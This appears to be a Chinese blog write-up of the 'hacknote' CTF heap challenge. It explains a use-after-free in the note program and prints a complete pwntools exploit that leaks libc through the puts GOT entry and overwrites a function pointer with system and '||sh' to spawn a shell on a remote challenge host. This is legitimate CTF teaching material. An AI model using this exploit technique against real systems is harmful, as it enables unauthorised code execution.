• 攻防世界 —— hacknote


    题目分析

    在这里插入图片描述

    主函数

    在这里插入图片描述
    在这里插入图片描述
    主函数比较简单就是输入1-4,执行相应的功能

    Add note功能:

    在这里插入图片描述
    存在一个notelist表,notelist可放5个元素,每次执行Add时看是否存在空闲空间,存在则申请一个8byte的空间,前4byte字节存放putself函数地址,后4byte再申请一块子空间,大小为size,内容为用户输入,具体如下:
    在这里插入图片描述
    这里有两点:1. 存在一个函数put_self,并且函数参数为1的,后四个字节指向另一块空间,大小和内容均可以由用户输入

    delete_note功能:

    在这里插入图片描述
    delete_note比较简单,就是free Add函数申请的空间,但存在UAF漏洞

    print_note功能:

    在这里插入图片描述
    非常简单,就是调用notelist表中所指向地址的函数,参数为自身,如图,正常情况就是put_self函数,参数为自身地址(此处为0xfffffff)
    在这里插入图片描述

    漏洞分析

    漏洞主要存在于add_note和delete_note中,假设一个这样的场景:

    1. 先add_note(),并申请一块size=16的空间,内容随意
    2. 再add_note(),并申请一块size=16的空间,内容随意
    3. delete_note(1),delete_note(2),整体结构如图:
      在这里插入图片描述
    4. 再add_note(),并申请一块size=8的空间,内容随意,这时则会发送变化了。首先add_note需要8byte,会使用第二次add_note()被释放的8byte空间,也就是2号,由于第二次申请的还是8byte,则第一次add_note()被释放8byte也就是1号被使用,图示为:
      在这里插入图片描述
      这时候就有意思了,由于删除时只释放内存每释放指针,所以note_list中的1和2仍还指向原地址空间,而3处指向的地址空间为1和2的8字节处的地址,并且由于二级指针处可以写入数据,所以3可以向1指向的8byte字节写入数据

    我们的思想就是通过notelist[3]可以直接控制notelist[1]处空间,将notelist[1]的put_self换成system,sub_chunk换成||sh

    这个||sh是shell注入,因为按照原来的show的逻辑,是这样的

    system(notelist[i])
    现在为system( XXXX||sh),先执行system(XXXX),若不行则执行system(sh)

    攻击代码

    from pwn import *
    
    url, port = "61.147.171.105", 51068
    filename = "./hacknote"
    elf = ELF(filename)
    # context(arch="amd32", os="linux")
    context(arch="i386", os="linux")
    
    debug = 0
    if debug:
        context.log_level="debug"
        io = process(filename)
        context.terminal = ['tmux', 'splitw', '-h']
        libc = elf.libc
        # gdb.attach(io)
    else:
        libc = ELF("./libc_32.so.6")
        io = remote(url, port)
    
    def BK():
        gdb.attach(io) #  "b *" + str(hex(addr))
    
    def Add(size,content):
        io.sendlineafter(b'Your choice :',b'1')
        io.sendlineafter(b'Note size :',str(size))
        io.sendlineafter(b'Content :',content)
    
    def Print(index):
        io.sendlineafter(b'Your choice :',b'3')
        io.sendlineafter(b'Index :',str(index))
    
    def Del(index):
        io.sendlineafter(b'Your choice :',b'2')
        io.sendlineafter(b'Index :',str(index))
    
    def pwn():
        Add(0x20, "zzzz")
        Add(0x20, "zzzz")
        Del(0)
        Del(1)
    
        puts_func_addr = 0x804862B
        puts_got = elf.got['puts']
        payload = p32(puts_func_addr) + p32(puts_got)
        Add(0x8, payload)
        Print(0)
        libc_base = u32(io.recv(4)) - libc.sym['puts']
    
        Del(2)
        system_addr = libc_base + libc.sym["system"]
        payload = p32(system_addr) + b"||sh"
        Add(0x8, payload)
        Print(0)
        io.interactive()
    
    if __name__ == '__main__':
        pwn()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
  • 相关阅读:
    加入鲲鹏HPC训练营,一起引领高性能计算新潮流
    操作系统文件管理-----索引分配
    NuGet包使用方法
    MMFewShot训练与测试流程
    【pycharm】控制台报错:终端无法加载文件\venv\Scripts\activate.ps1
    Java中运算符一些注意事项
    Flutter笔记:聊一聊Flutter中委托的设计方法
    HTML 基础知识
    机器人控制算法——两轮差速驱动运动模型
    ReentrantLock原理(未完待续)
  • 原文地址:https://blog.csdn.net/qq_41696518/article/details/125878437